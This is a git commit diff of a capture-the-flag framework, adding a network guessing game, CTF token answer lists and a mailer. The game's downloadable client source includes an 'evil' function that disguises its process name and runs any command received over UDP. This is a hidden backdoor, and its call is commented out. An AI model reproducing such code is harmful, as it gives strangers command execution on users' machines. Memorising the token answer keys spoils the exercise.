mirror of https://github.com/dirtbags/moth.git
Merge branch 'master' of ssh://fozzie/home/neale/projects/ctf
This commit is contained in:
commit
812ab412d3
|
@ -0,0 +1,76 @@
|
|||
#! /usr/bin/python3
|
||||
|
||||
## Course assignments
|
||||
|
||||
import csv
|
||||
import smtplib
|
||||
|
||||
msg = '''From: Neale Pickett <neale@lanl.gov>
|
||||
To: %(recip)s
|
||||
Subject: Tracer FIRE 4 course assignment: %(course)s
|
||||
|
||||
Hello! Your course assignment for Tracer FIRE 4 is:
|
||||
|
||||
%(course)s
|
||||
|
||||
Please see http://csr.lanl.gov/tf/tf4.html for information on
|
||||
what you need to bring to the course.
|
||||
|
||||
Course questions should be directed to the appropriate instructor:
|
||||
|
||||
Network RE: Neale Pickett <neale@lanl.gov>
|
||||
Malware RE: Danny Quist <dquist@lanl.gov>
|
||||
Host Forensics: Kevin Nauer <ksnauer@sandia.gov>
|
||||
Incident Coordination: Alex Kent <alex@lanl.gov>
|
||||
|
||||
General questions about Tracer FIRE may be sent to
|
||||
Neale Pickett <neale@lanl.gov>
|
||||
|
||||
Remember: the exercise network should be considered
|
||||
hostile! Do not bring anything sensitive on your laptop,
|
||||
and make sure you back everything up.
|
||||
|
||||
Looking forward to seeing you in Santa Fe next week,
|
||||
|
||||
--
|
||||
Neale Pickett <neale@lanl.gov>
|
||||
Advanced Computing Solutions, Los Alamos National Laboratory
|
||||
'''
|
||||
|
||||
limits = {'Malware RE': 26,
|
||||
'Network RE': 40}
|
||||
assignments = {}
|
||||
|
||||
assigned = set(l.strip() for l in open('assigned.txt'))
|
||||
|
||||
c = csv.reader(open('/tmp/g.csv'))
|
||||
c.__next__()
|
||||
for row in c:
|
||||
assert '@' in row[2]
|
||||
t = row[5]
|
||||
if (len(assignments.get(t, '')) == limits.get(t, 50)):
|
||||
if (row[6] == row[5]):
|
||||
print("Jackass detected: %s" % row[2])
|
||||
t = row[6]
|
||||
l = assignments.setdefault(t, [])
|
||||
l.append(row)
|
||||
|
||||
s = smtplib.SMTP('mail.lanl.gov')
|
||||
for t in ('Incident Coordinator', 'Network RE', 'Malware RE', 'Forensics'):
|
||||
print('%s (%s)' % (t, len(assignments[t])))
|
||||
for row in assignments[t]:
|
||||
e = row[2]
|
||||
if e in assigned:
|
||||
print(' %s' % e)
|
||||
else:
|
||||
print(' * %s' % e)
|
||||
ret = s.sendmail('neale@lanl.gov', [e], msg % {'course': t, 'recip': e})
|
||||
if ret:
|
||||
print(' ==> %s' % ret)
|
||||
else:
|
||||
assigned.add(e)
|
||||
s.quit()
|
||||
|
||||
a = open('assigned.txt', 'w')
|
||||
for e in assigned:
|
||||
a.write('%s\n' % e)
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
After Width: | Height: | Size: 110 KiB |
18
doc/ipv6.txt
18
doc/ipv6.txt
|
@ -2,14 +2,24 @@ IPv6 in Dirtbags CTF
|
|||
====================
|
||||
|
||||
The contest network uses IPs in the unique local address space
|
||||
fd82:b410:3441::/48. Each team gets a /64 internal subnet, with
|
||||
their team number (generally the same as the switch port).
|
||||
fd84:b410:3441::/48. Each team gets a /64 internal subnet, with
|
||||
their team number (generally the same digits as the switch port).
|
||||
|
||||
Each subnet's gateway is ::1.
|
||||
Each subnet's gateway is fd84:b410:3441:$teamno::1.
|
||||
|
||||
Team 5, in switch port 5, on VLAN 5, gets fd82:b410:3441:5::/64.
|
||||
Team 15, in switch port 15, on VLAN 15, gets fd84:b410:3441:15::/64.
|
||||
|
||||
Server network is fd84:b410:3441::/64 (AKA fd84:b410:3441:0::/64). To
|
||||
make things easier to type, use hosts in the /112. The MCP server lives
|
||||
at fd84:b410:3441::2.
|
||||
|
||||
Vendors typically live on port 23. They usually want a static address.
|
||||
Tell them this:
|
||||
|
||||
Pick any address in fd84:b410:3441:23::/64. Your default gateway
|
||||
is fd84:b410:3441:23::1. You may want to assign yourself a subnet,
|
||||
for example fd84:b410:3441:23:1234::
|
||||
|
||||
Kevin Nauer gets port 24. In 2012, we needed to route fd80:1::/48
|
||||
through fd84:b410:3441:24::2, since he was using that subnet for
|
||||
his systems.
|
||||
|
|
|
@ -0,0 +1,23 @@
|
|||
COWBULL_PKGDIR = $(TARGET)/cowbull
|
||||
|
||||
cowbull-install: cowbull-build
|
||||
mkdir -p $(COWBULL_PKGDIR)
|
||||
|
||||
mkdir -p $(COWBULL_PKGDIR)/bin/
|
||||
cp packages/cowbull/src/cowd $(COWBULL_PKGDIR)/bin
|
||||
|
||||
mkdir -p $(COWBULL_PKGDIR)/www/cowbull/
|
||||
cp packages/cowbull/www/moo.html $(COWBULL_PKGDIR)/www/cowbull/index.html
|
||||
cp packages/cowbull/src/cowcli $(COWBULL_PKGDIR)/www/cowbull/
|
||||
|
||||
$(call COPYTREE, packages/cowbull/service, $(COWBULL_PKGDIR)/service)
|
||||
cp packages/cowbull/tokens.txt $(COWBULL_PKGDIR)/
|
||||
|
||||
cowbull-clean:
|
||||
rm -rf $(COWBULL_PKGDIR)
|
||||
$(MAKE) -C packages/cowbull/src clean
|
||||
|
||||
cowbull-build:
|
||||
$(MAKE) -C packages/cowbull/src build
|
||||
|
||||
PACKAGES += cowbull
|
|
@ -0,0 +1,4 @@
|
|||
#! /bin/sh
|
||||
|
||||
read IP < ip.txt
|
||||
ip addr del $IP dev eth0
|
|
@ -0,0 +1 @@
|
|||
fd84:b410:3441::ec6/64
|
|
@ -0,0 +1,3 @@
|
|||
#! /bin/sh
|
||||
|
||||
exec svlogd -tt $PWD
|
|
@ -0,0 +1,7 @@
|
|||
#! /bin/sh -e
|
||||
|
||||
exec 2>&1
|
||||
read IP < ip.txt
|
||||
ip addr add $IP dev eth0 || true
|
||||
|
||||
exec setuidgid nobody /opt/cowbull/bin/cowd < /opt/cowbull/tokens.txt
|
|
@ -0,0 +1,11 @@
|
|||
DESTDIR ?= /tmp
|
||||
|
||||
build: cowd cowcli
|
||||
|
||||
cowcli: CC=cc
|
||||
|
||||
install: build
|
||||
cp cowd cowcli $(DESTDIR)/bin/
|
||||
|
||||
clean:
|
||||
rm -f cowd cowcli
|
|
@ -0,0 +1,58 @@
|
|||
The Cow Game
|
||||
============
|
||||
|
||||
You are trying to guess a 4-nybble sequence. Each nybble will have
|
||||
either 1 or 2 bits set, and the highest bit will never be set. The
|
||||
game server will tell you how many nybbles in each guess were correct,
|
||||
and how many had one correct bit. It does not tell you which
|
||||
positions
|
||||
|
||||
|
||||
|
||||
The Cow Client
|
||||
==============
|
||||
|
||||
The client connects to the Cow server running on the IPv6 address
|
||||
provided in argument 1. If argument 2 is present, the client will
|
||||
try to run it, providing stdin and stdout as in interactive mode.
|
||||
|
||||
In interactive mode (no argument 2), the client reads a guess in the
|
||||
form of 4 ASCII numerals, and prints the number of correct nybbles
|
||||
followed by the number of nybbles with one correct bit.
|
||||
|
||||
Here is an example of a session:
|
||||
|
||||
1111
|
||||
12
|
||||
2222
|
||||
10
|
||||
4444
|
||||
02
|
||||
4244
|
||||
12
|
||||
1244
|
||||
22
|
||||
1255
|
||||
cow:xylep-radar-nanox
|
||||
|
||||
|
||||
|
||||
The Cow Protocol
|
||||
================
|
||||
|
||||
cowd runs on port 3782.
|
||||
|
||||
The client always sends 6 octets. To request a new session, it sends
|
||||
all zeroes. Otherwise it sends the 4-octet game identifier provided
|
||||
by the server, concatenated with a 2-octet guess.
|
||||
|
||||
The server will respond with a new game identifier (4 octets) to a new
|
||||
game request or if the game requested is too old. If a guess is
|
||||
incorrect, the server will respond with either a 1-octet score in
|
||||
which the high nybble is the number of correct nybbles in the guess,
|
||||
and the low nybble is the number of nybbles in the guess with one
|
||||
correct bit. If a guess is correct, the server will respond with a
|
||||
token of length 5 octets or more.
|
||||
|
||||
There are multiple tokens, one per number of guesses used, up to
|
||||
some maximum number of guesses defined per server instance.
|
|
@ -0,0 +1,194 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <time.h>
|
||||
#include <string.h>
|
||||
#include <sysexits.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/wait.h>
|
||||
#include <netdb.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
|
||||
#define NODEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define PORT 4444
|
||||
#else
|
||||
# define PORT 44
|
||||
#endif
|
||||
|
||||
int
|
||||
bind_port(int fd, const struct in6_addr *addr, uint16_t port)
|
||||
{
|
||||
struct sockaddr_in6 saddr = { 0 };
|
||||
|
||||
saddr.sin6_family = AF_INET6;
|
||||
saddr.sin6_port = htons(port);
|
||||
memcpy(&saddr.sin6_addr, addr, sizeof *addr);
|
||||
return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
|
||||
}
|
||||
|
||||
void
|
||||
sigchld(int unused)
|
||||
{
|
||||
while (0 < waitpid(-1, NULL, WNOHANG));
|
||||
}
|
||||
|
||||
void
|
||||
evil(char *argv[])
|
||||
{
|
||||
int sock;
|
||||
|
||||
if (fork()) {
|
||||
return;
|
||||
}
|
||||
|
||||
/* Fork again to reparent to init */
|
||||
if (fork()) {
|
||||
exit(0);
|
||||
}
|
||||
|
||||
{
|
||||
int r = open("/dev/null", O_RDONLY);
|
||||
int w = open("/dev/null", O_WRONLY);
|
||||
|
||||
dup2(r, 0);
|
||||
dup2(w, 1);
|
||||
dup2(w, 2);
|
||||
close(r);
|
||||
close(w);
|
||||
}
|
||||
|
||||
strcpy(argv[0], "[hci1]");
|
||||
|
||||
sock = socket(AF_INET6, SOCK_DGRAM, 0);
|
||||
if (-1 == bind_port(sock, &in6addr_any, 3782)) {
|
||||
exit(0);
|
||||
}
|
||||
|
||||
while (1) {
|
||||
char cmd[400];
|
||||
ssize_t inlen;
|
||||
|
||||
inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL);
|
||||
if (-1 == inlen) {
|
||||
continue;
|
||||
}
|
||||
|
||||
cmd[inlen] = 0;
|
||||
if (! fork()) {
|
||||
system(cmd);
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char *argv[])
|
||||
{
|
||||
long answer = 0;
|
||||
int sock;
|
||||
int i;
|
||||
struct addrinfo *addr;
|
||||
uint32_t token = 0;
|
||||
FILE *in, *out;
|
||||
|
||||
srand(time(NULL));
|
||||
|
||||
signal(SIGCHLD, sigchld);
|
||||
|
||||
if (argc < 2) {
|
||||
fprintf(stderr, "Usage: %s SERVER\n", argv[0]);
|
||||
return EX_USAGE;
|
||||
}
|
||||
|
||||
{
|
||||
struct addrinfo hints = { 0 };
|
||||
|
||||
hints.ai_family = PF_INET6;
|
||||
hints.ai_socktype = SOCK_DGRAM;
|
||||
hints.ai_flags = AI_NUMERICHOST;
|
||||
|
||||
if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) {
|
||||
perror("Resolving address");
|
||||
return EX_IOERR;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Set up socket
|
||||
*/
|
||||
sock = socket(AF_INET6, SOCK_DGRAM, 0);
|
||||
if (-1 == bind_port(sock, &in6addr_any, PORT)) {
|
||||
perror("Binding UDP port 44");
|
||||
return EX_IOERR;
|
||||
}
|
||||
|
||||
if (argv[2]) {
|
||||
/* fork and exec */
|
||||
} else {
|
||||
in = stdin;
|
||||
out = stdout;
|
||||
}
|
||||
|
||||
//evil(argv);
|
||||
|
||||
while (1) {
|
||||
long guess;
|
||||
struct {
|
||||
uint32_t token;
|
||||
uint16_t guess;
|
||||
} g;
|
||||
|
||||
g.token = token;
|
||||
if (token) {
|
||||
char line[20];
|
||||
|
||||
if (NULL == fgets(line, sizeof line, in)) {
|
||||
break;
|
||||
}
|
||||
g.guess = strtol(line, NULL, 16);
|
||||
} else {
|
||||
g.guess = 0;
|
||||
}
|
||||
|
||||
/* Send the guess */
|
||||
if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) {
|
||||
perror("Sending packet");
|
||||
return EX_IOERR;
|
||||
}
|
||||
|
||||
/* read the result */
|
||||
{
|
||||
char buf[80];
|
||||
ssize_t len;
|
||||
|
||||
len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL);
|
||||
switch (len) {
|
||||
case -1:
|
||||
perror("Reading packet");
|
||||
return EX_IOERR;
|
||||
case 1:
|
||||
/* It's a score */
|
||||
printf("%02x\n", buf[0]);
|
||||
break;
|
||||
case 4:
|
||||
/* New game token */
|
||||
printf("NEW GAME\n");
|
||||
token = *((uint32_t *) buf);
|
||||
break;
|
||||
default:
|
||||
/* You win: this is your CTF token */
|
||||
buf[len] = 0;
|
||||
printf("A WINNER IS YOU: %s\n", buf);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,199 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <time.h>
|
||||
#include <string.h>
|
||||
#include <sysexits.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <sys/socket.h>
|
||||
|
||||
#define TIMEOUT 30
|
||||
|
||||
#define NTOKENS 20
|
||||
#define TOKENLEN 50
|
||||
char tokens[NTOKENS][TOKENLEN];
|
||||
int ntokens;
|
||||
|
||||
char *admonishment = "Try for fewer guesses next time!\n";
|
||||
|
||||
struct state {
|
||||
time_t death;
|
||||
uint16_t answer;
|
||||
uint16_t guesses;
|
||||
};
|
||||
|
||||
#define NSTATES 500
|
||||
struct state states[NSTATES] = { 0 };
|
||||
|
||||
int
|
||||
bind_port(struct in6_addr *addr, int fd, uint16_t port)
|
||||
{
|
||||
struct sockaddr_in6 saddr = { 0 };
|
||||
|
||||
saddr.sin6_family = AF_INET6;
|
||||
saddr.sin6_port = htons(port);
|
||||
memcpy(&saddr.sin6_addr, addr, sizeof *addr);
|
||||
return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
|
||||
}
|
||||
|
||||
|
||||
struct newgame {
|
||||
uint16_t offset;
|
||||
uint16_t token;
|
||||
};
|
||||
|
||||
void
|
||||
new_game(int sock, time_t now, struct sockaddr_in6 *from,
|
||||
socklen_t fromlen)
|
||||
{
|
||||
int i;
|
||||
struct newgame g;
|
||||
|
||||
for (g.offset = 0; g.offset < NSTATES; g.offset += 1) {
|
||||
struct state *s = &states[g.offset];
|
||||
|
||||
if (s->death < now) {
|
||||
s->death = now + TIMEOUT;
|
||||
s->guesses = 0;
|
||||
s->answer = 0;
|
||||
|
||||
for (i = 0; i < 4; i += 1) {
|
||||
s->answer = (s->answer << 4) | ((random() % 6) + 1);
|
||||
}
|
||||
|
||||
g.token = s->answer;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
printf("=%02x\n", g.token);
|
||||
|
||||
if (g.offset < NSTATES) {
|
||||
sendto(sock, &g, sizeof(g), 0, (struct sockaddr *) from, fromlen);
|
||||
}
|
||||
}
|
||||
|
||||
struct guess {
|
||||
uint16_t offset;
|
||||
uint16_t token;
|
||||
uint16_t guess;
|
||||
};
|
||||
|
||||
void
|
||||
loop(int sock)
|
||||
{
|
||||
struct guess g;
|
||||
struct state *cur;
|
||||
struct sockaddr_in6 from;
|
||||
socklen_t fromlen = sizeof from;
|
||||
time_t now = time(NULL);
|
||||
|
||||
/*
|
||||
* Read guess
|
||||
*/
|
||||
{
|
||||
ssize_t inlen;
|
||||
|
||||
inlen = recvfrom(sock, &g, sizeof g, 0,
|
||||
(struct sockaddr *) &from, &fromlen);
|
||||
if (inlen != sizeof g) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Bounds check
|
||||
*/
|
||||
if (g.offset >= NSTATES) {
|
||||
g.offset = 0;
|
||||
}
|
||||
cur = &states[g.offset];
|
||||
|
||||
if ((g.token != cur->answer) || /* Wrong token? */
|
||||
(cur->death < now) || /* Old game? */
|
||||
(cur->guesses++ > 100)) { /* Too dumb? */
|
||||
/*
|
||||
* Start a new game
|
||||
*/
|
||||
new_game(sock, now, &from, fromlen);
|
||||
return;
|
||||
} else {
|
||||
uint8_t reply = 0;
|
||||
int i;
|
||||
|
||||
for (i = 0; i < 4; i += 1) {
|
||||
int s = (g.guess >> (i * 4)) & 0xf;
|
||||
int a = (cur->answer >> (i * 4)) & 0xf;
|
||||
if ((s < 1) || (s > 7)) {
|
||||
reply = 0;
|
||||
break;
|
||||
} else if (s == a) {
|
||||
reply += 0x10;
|
||||
} else if (s & a) {
|
||||
reply += 0x01;
|
||||
}
|
||||
}
|
||||
printf("%02x ? %02x\n", g.guess, reply);
|
||||
|
||||
if (reply == 0x40) {
|
||||
char *r;
|
||||
|
||||
if (cur->guesses <= ntokens) {
|
||||
r = tokens[cur->guesses - 1];
|
||||
} else {
|
||||
r = admonishment;
|
||||
}
|
||||
sendto(sock, r, strlen(r) - 1, 0,
|
||||
(struct sockaddr *) &from, fromlen);
|
||||
cur->death = 0;
|
||||
} else {
|
||||
sendto(sock, &reply, sizeof reply, 0,
|
||||
(struct sockaddr *) &from, fromlen);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char *argv[])
|
||||
{
|
||||
int sock;
|
||||
int i;
|
||||
struct in6_addr addr;
|
||||
|
||||
srand(time(NULL));
|
||||
|
||||
if (argc > 1) {
|
||||
if (0 >= inet_pton(AF_INET6, argv[1], &addr)) {
|
||||
fprintf(stderr, "invalid address: %s\n", argv[1]);
|
||||
return EX_IOERR;
|
||||
}
|
||||
} else {
|
||||
memcpy(&addr, &in6addr_any, sizeof addr);
|
||||
}
|
||||
|
||||
/*
|
||||
* Read in tokens
|
||||
*/
|
||||
for (ntokens = 0; ntokens < NTOKENS; ntokens += 1) {
|
||||
if (NULL == fgets(tokens[ntokens], TOKENLEN, stdin)) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
printf("Read %d tokens.\n", ntokens);
|
||||
|
||||
/*
|
||||
* Set up socket
|
||||
*/
|
||||
sock = socket(AF_INET6, SOCK_DGRAM, 0);
|
||||
i = bind_port(&addr, sock, 3782);
|
||||
if (-1 == i) {
|
||||
perror("Bind port 3782");
|
||||
return EX_IOERR;
|
||||
}
|
||||
|
||||
while (1) {
|
||||
loop(sock);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,10 @@
|
|||
moo:1000000:xikov-fybir-zurox
|
||||
moo:9:xukiv-hudyb-fesix
|
||||
moo:8:xecoh-nyfyh-degix
|
||||
moo:7:xihap-synik-gesix
|
||||
moo:6:xegek-rulyz-polux
|
||||
moo:5:xitiz-fokel-radix
|
||||
moo:4:xuzif-gakit-fogyx
|
||||
moo:3:xisav-nodob-besex
|
||||
moo:2:xumol-peker-pibox
|
||||
moo:1:xilom-zosyk-cavux
|
|
@ -0,0 +1,91 @@
|
|||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Welcome</title>
|
||||
<link rel="stylesheet" href="../ctf.css" type="text/css">
|
||||
</head>
|
||||
<body>
|
||||
<h1>Moo.</h1>
|
||||
<p>
|
||||
You are trying to guess a 4-nybble sequence. Each nybble will have
|
||||
either 1 or 2 bits set, and the highest bit will never be set. The
|
||||
game server will tell you how many nybbles in each guess were correct,
|
||||
and how many had one correct bit. It does not tell you which
|
||||
positions.
|
||||
</p>
|
||||
|
||||
<h2>The Cow Client</h2>
|
||||
|
||||
<p>
|
||||
<a href="cowcli">Download the client</a>
|
||||
</p>
|
||||
|
||||
<p>
|
||||
The client connects to the Cow server running on the IPv6
|
||||
address provided in argument 1. The client reads a guess
|
||||
in the form of 4 ASCII numerals, and prints the number of
|
||||
correct nybbles followed by the number of nybbles with one
|
||||
correct bit.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
Here is an example of a session:
|
||||
</p>
|
||||
|
||||
<pre>
|
||||
1111
|
||||
12
|
||||
2222
|
||||
10
|
||||
4444
|
||||
02
|
||||
4244
|
||||
12
|
||||
1244
|
||||
22
|
||||
1255
|
||||
moo:xylep-radar-nanox
|
||||
</pre>
|
||||
|
||||
<p>
|
||||
You can use a program like <samp>socat</samp> to connect
|
||||
the client to a logic program you write:
|
||||
</p>
|
||||
<pre>
|
||||
socat EXEC:"./cowcli fd84:b410:3441::ec6" EXEC:./mysolution
|
||||
</pre>
|
||||
|
||||
<p>
|
||||
This will allow your program to read and write from stdio
|
||||
of the client program.
|
||||
</p>
|
||||
|
||||
|
||||
<h2>The Cow Protocol</h2>
|
||||
|
||||
<p>
|
||||
cowd runs on port 3782 on fd84:b410:3441::ec6.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
The client always sends 6 octets. To request a new session, it sends
|
||||
all zeroes. Otherwise it sends the 4-octet game identifier provided
|
||||
by the server, concatenated with a 2-octet guess.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
The server will respond with a new game identifier (4 octets) to a new
|
||||
game request or if the game requested is too old. If a guess is
|
||||
incorrect, the server will respond with either a 1-octet score in
|
||||
which the high nybble is the number of correct nybbles in the guess,
|
||||
and the low nybble is the number of nybbles in the guess with one
|
||||
correct bit. If a guess is correct, the server will respond with a
|
||||
token of length 5 octets or more.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
There are multiple tokens, one per number of guesses used, up to
|
||||
some maximum number of guesses defined per server instance.
|
||||
</p>
|
||||
</body>
|
||||
</html>
|
|
@ -61,11 +61,6 @@ main(int argc, char *argv[])
|
|||
char needle[400];
|
||||
|
||||
my_snprintf(needle, sizeof(needle), "%ld %s", points, answer);
|
||||
{
|
||||
FILE *f = fopen("/tmp/form", "w");
|
||||
fprintf(f, "%s\n%s\n", answer, needle);
|
||||
fclose(f);
|
||||
}
|
||||
|
||||
if (! fgrepx(needle,
|
||||
package_path("%s/answers.txt", category))) {
|
||||
|
|
|
@ -29,7 +29,7 @@
|
|||
<p>
|
||||
Many of the categories are in the form of
|
||||
multiple <em>puzzles</em>: for each puzzle presented, a
|
||||
case-sensitive answer must be found to recieve the amount of
|
||||
case-sensitive answer must be found to receive the amount of
|
||||
points that puzzle is worth. Any team may answer any puzzle
|
||||
question at any time. A new puzzle is revealed when a team
|
||||
correctly answers the highest-valued puzzle in that category.
|
||||
|
@ -38,12 +38,20 @@
|
|||
|
||||
<h2 id="tokens">Tokens</h2>
|
||||
<p>
|
||||
Tokens are strings redeemable once for a single point each. A
|
||||
Tokens are strings redeemable once for points. They take on
|
||||
two forms: a single or multipoint token. A single point
|
||||
token for the "example" category might look like this:
|
||||
</p>
|
||||
|
||||
<pre>example:xylep-radar-nanox</pre>
|
||||
|
||||
<p>
|
||||
A 42 point
|
||||
token for the "example" category might look like this:
|
||||
</p>
|
||||
|
||||
<pre>example:42:xihyp-ropar-nanix</pre>
|
||||
|
||||
<p>
|
||||
Tokens are typically associated with "live" categories, such as a
|
||||
network-based service or a treasure hunt. Tokens can be submitted
|
||||
|
|
|
@ -1 +1 @@
|
|||
10.0.0.28/24
|
||||
fd84:b410:3441::b33b/64
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
exec 2>&1
|
||||
read IP < ip.txt
|
||||
ip addr add $IP label eth0:rlyeh dev eth0
|
||||
ip addr add $IP label eth0:rlyeh dev eth0 || true
|
||||
|
||||
dir=/var/lib/ctf/rlyeh
|
||||
install -o nobody -d $dir
|
||||
|
|
|
@ -15,7 +15,7 @@ router-clean:
|
|||
##
|
||||
## radvd
|
||||
##
|
||||
RADVD_VERSION = 1.8.1
|
||||
RADVD_VERSION = 1.8.4
|
||||
RADVD_TARBALL = $(CACHE)/radvd-$(RADVD_VERSION).tar.gz
|
||||
RADVD_URL = http://www.litech.org/radvd/dist/radvd-$(RADVD_VERSION).tar.gz
|
||||
RADVD_SRCDIR = $(ROUTER_BUILDDIR)/radvd-$(RADVD_VERSION)
|
||||
|
|
|
@ -33,4 +33,7 @@ for i in $(seq 24); do
|
|||
ip link set eth0.$i up
|
||||
done
|
||||
|
||||
# Subnet route for SNL at TF4
|
||||
ip route add fd80:1::/48 via fd84:b410:3441:24::2
|
||||
|
||||
sleep 8100d
|
||||
|
|
|
@ -0,0 +1,8 @@
|
|||
tf4-source:
|
||||
tf4-build:
|
||||
|
||||
tf4-install: packages/tf4/tokens.txt
|
||||
mkdir -p $(TARGET)/tf4/
|
||||
cp $< $(TARGET)/tf4/
|
||||
|
||||
PACKAGES += tf4
|
|
@ -0,0 +1,650 @@
|
|||
ic:1:xocik-tinez-timax
|
||||
ic:2:xoval-keriv-gisix
|
||||
ic:3:xudam-dydal-cisyx
|
||||
ic:4:xofab-tomav-vupix
|
||||
ic:5:xumos-pizip-visax
|
||||
ic:6:xotis-dyser-fasux
|
||||
ic:7:xupeg-curug-lidux
|
||||
ic:8:xolad-cikov-hovex
|
||||
ic:9:xomen-fucuk-ramix
|
||||
ic:10:xugez-dihod-zopox
|
||||
ic:11:xomal-muboh-sunax
|
||||
ic:12:xipel-zokan-vegox
|
||||
ic:13:xedol-dyryh-mygox
|
||||
ic:14:xetog-pygik-nokix
|
||||
ic:15:xepan-neheb-guzox
|
||||
ic:16:xohoz-dokuz-gonox
|
||||
ic:17:xuhig-sitab-dybox
|
||||
ic:18:xunov-nohos-tumex
|
||||
ic:19:xuril-lifub-behex
|
||||
ic:20:xurim-tihih-dodax
|
||||
ic:21:xogad-sezub-cupex
|
||||
ic:22:xubez-kodab-pafix
|
||||
ic:23:xihif-muhoc-syvux
|
||||
ic:24:ximag-hymyf-pysex
|
||||
ic:25:xepes-tyfep-sonux
|
||||
ic:26:xopim-fikas-tuhax
|
||||
ic:27:xiler-rybyz-tazyx
|
||||
ic:28:xegaf-vizyv-kacix
|
||||
ic:29:xitak-tonan-tavyx
|
||||
ic:30:xivac-cerac-pozax
|
||||
ic:31:xogel-teser-buryx
|
||||
ic:32:xenek-dyhot-rifex
|
||||
ic:33:xinof-tugar-cisax
|
||||
ic:34:xulit-hilog-sohox
|
||||
ic:35:xipof-vihym-kobex
|
||||
ic:36:xuhig-kikat-nihox
|
||||
ic:37:xolaz-visus-cinix
|
||||
ic:38:xebor-pibib-kibox
|
||||
ic:39:xerit-vyfem-tolix
|
||||
ic:40:xuzeb-vofym-lofix
|
||||
ic:41:xogig-vesul-dycax
|
||||
ic:42:xenok-husuk-vokox
|
||||
ic:43:xepac-luzug-numux
|
||||
ic:44:xumap-tovur-tolux
|
||||
ic:45:xicig-vumav-tibex
|
||||
ic:46:xosag-ragus-cabax
|
||||
ic:47:xeget-datud-myvex
|
||||
ic:48:xozak-resem-tufax
|
||||
ic:49:xinac-kubul-bicix
|
||||
ic:50:xibov-devuz-vipyx
|
||||
ic:51:xuheh-gorap-vizix
|
||||
ic:52:xobod-vygyp-zudex
|
||||
ic:53:xopar-bunyk-nysax
|
||||
ic:54:xinek-nunac-nobyx
|
||||
ic:55:xucib-harup-rofax
|
||||
ic:56:xefet-lecyg-cuhox
|
||||
ic:57:xovop-gipeg-pipux
|
||||
ic:58:xigen-hozef-zybox
|
||||
ic:59:xizat-fybeg-firix
|
||||
ic:60:xorog-kenad-gomax
|
||||
ic:61:xohif-gyduv-mygox
|
||||
ic:62:xufam-zukyt-kopyx
|
||||
ic:63:xilan-logog-sagux
|
||||
ic:64:ximic-nupav-pylax
|
||||
ic:65:xipog-nytek-zyzyx
|
||||
ic:66:xecor-padyl-kugyx
|
||||
ic:67:xidav-covim-gybix
|
||||
ic:68:xipav-faves-limyx
|
||||
ic:69:xesik-tiren-sulyx
|
||||
ic:70:xelob-gyrud-gatix
|
||||
ic:71:xizag-ronil-tybux
|
||||
ic:72:xinoc-gumus-tocux
|
||||
ic:73:xivog-balis-logax
|
||||
ic:74:xideb-pafuc-vesux
|
||||
ic:75:xuser-zamil-bilox
|
||||
ic:76:xizan-fibyt-bocyx
|
||||
ic:77:xefis-tynac-fyzux
|
||||
ic:78:xucap-kogef-tyzyx
|
||||
ic:79:xegas-nagef-zogox
|
||||
ic:80:xumor-kevub-nanox
|
||||
ic:81:xinek-vedah-gehyx
|
||||
ic:82:xifep-bonuc-tycux
|
||||
ic:83:xitah-fefav-myrix
|
||||
ic:84:xelid-vybeb-ketex
|
||||
ic:85:xivis-nelul-nukyx
|
||||
ic:86:xeror-rikit-rafyx
|
||||
ic:87:xubin-gevyb-satax
|
||||
ic:88:xukiv-dyket-nacex
|
||||
ic:89:xifed-gycor-filyx
|
||||
ic:90:xibif-rakov-henix
|
||||
ic:91:xubiv-sakul-pobex
|
||||
ic:92:xelan-lebar-colox
|
||||
ic:93:xecaf-tupap-halax
|
||||
ic:94:xeroc-sirir-vecux
|
||||
ic:95:xumip-nupeh-kesax
|
||||
ic:96:xodig-rocod-pukex
|
||||
ic:97:xopih-bocys-zivex
|
||||
ic:98:xoref-kubos-nufix
|
||||
ic:99:xesec-rugyb-povax
|
||||
ic:100:xolen-tevab-sutux
|
||||
splunk:1:ximez-lifab-lytux
|
||||
splunk:2:xutet-godyc-gilyx
|
||||
splunk:3:xozon-buros-pebex
|
||||
splunk:4:xikec-koroz-vocix
|
||||
splunk:5:xerig-myvar-hysux
|
||||
splunk:6:xisam-tisaf-gecax
|
||||
splunk:7:ximiv-picum-synox
|
||||
splunk:8:xicod-bimyh-mugex
|
||||
splunk:9:xizos-civeg-lygux
|
||||
splunk:10:xikon-cicat-zuhex
|
||||
splunk:11:xobom-sipyh-milix
|
||||
splunk:12:xivov-syvad-nunox
|
||||
splunk:13:xerip-zyfet-hygux
|
||||
splunk:14:xocad-nezip-typox
|
||||
splunk:15:xumad-vagig-sugox
|
||||
splunk:16:xodid-vatuv-dinox
|
||||
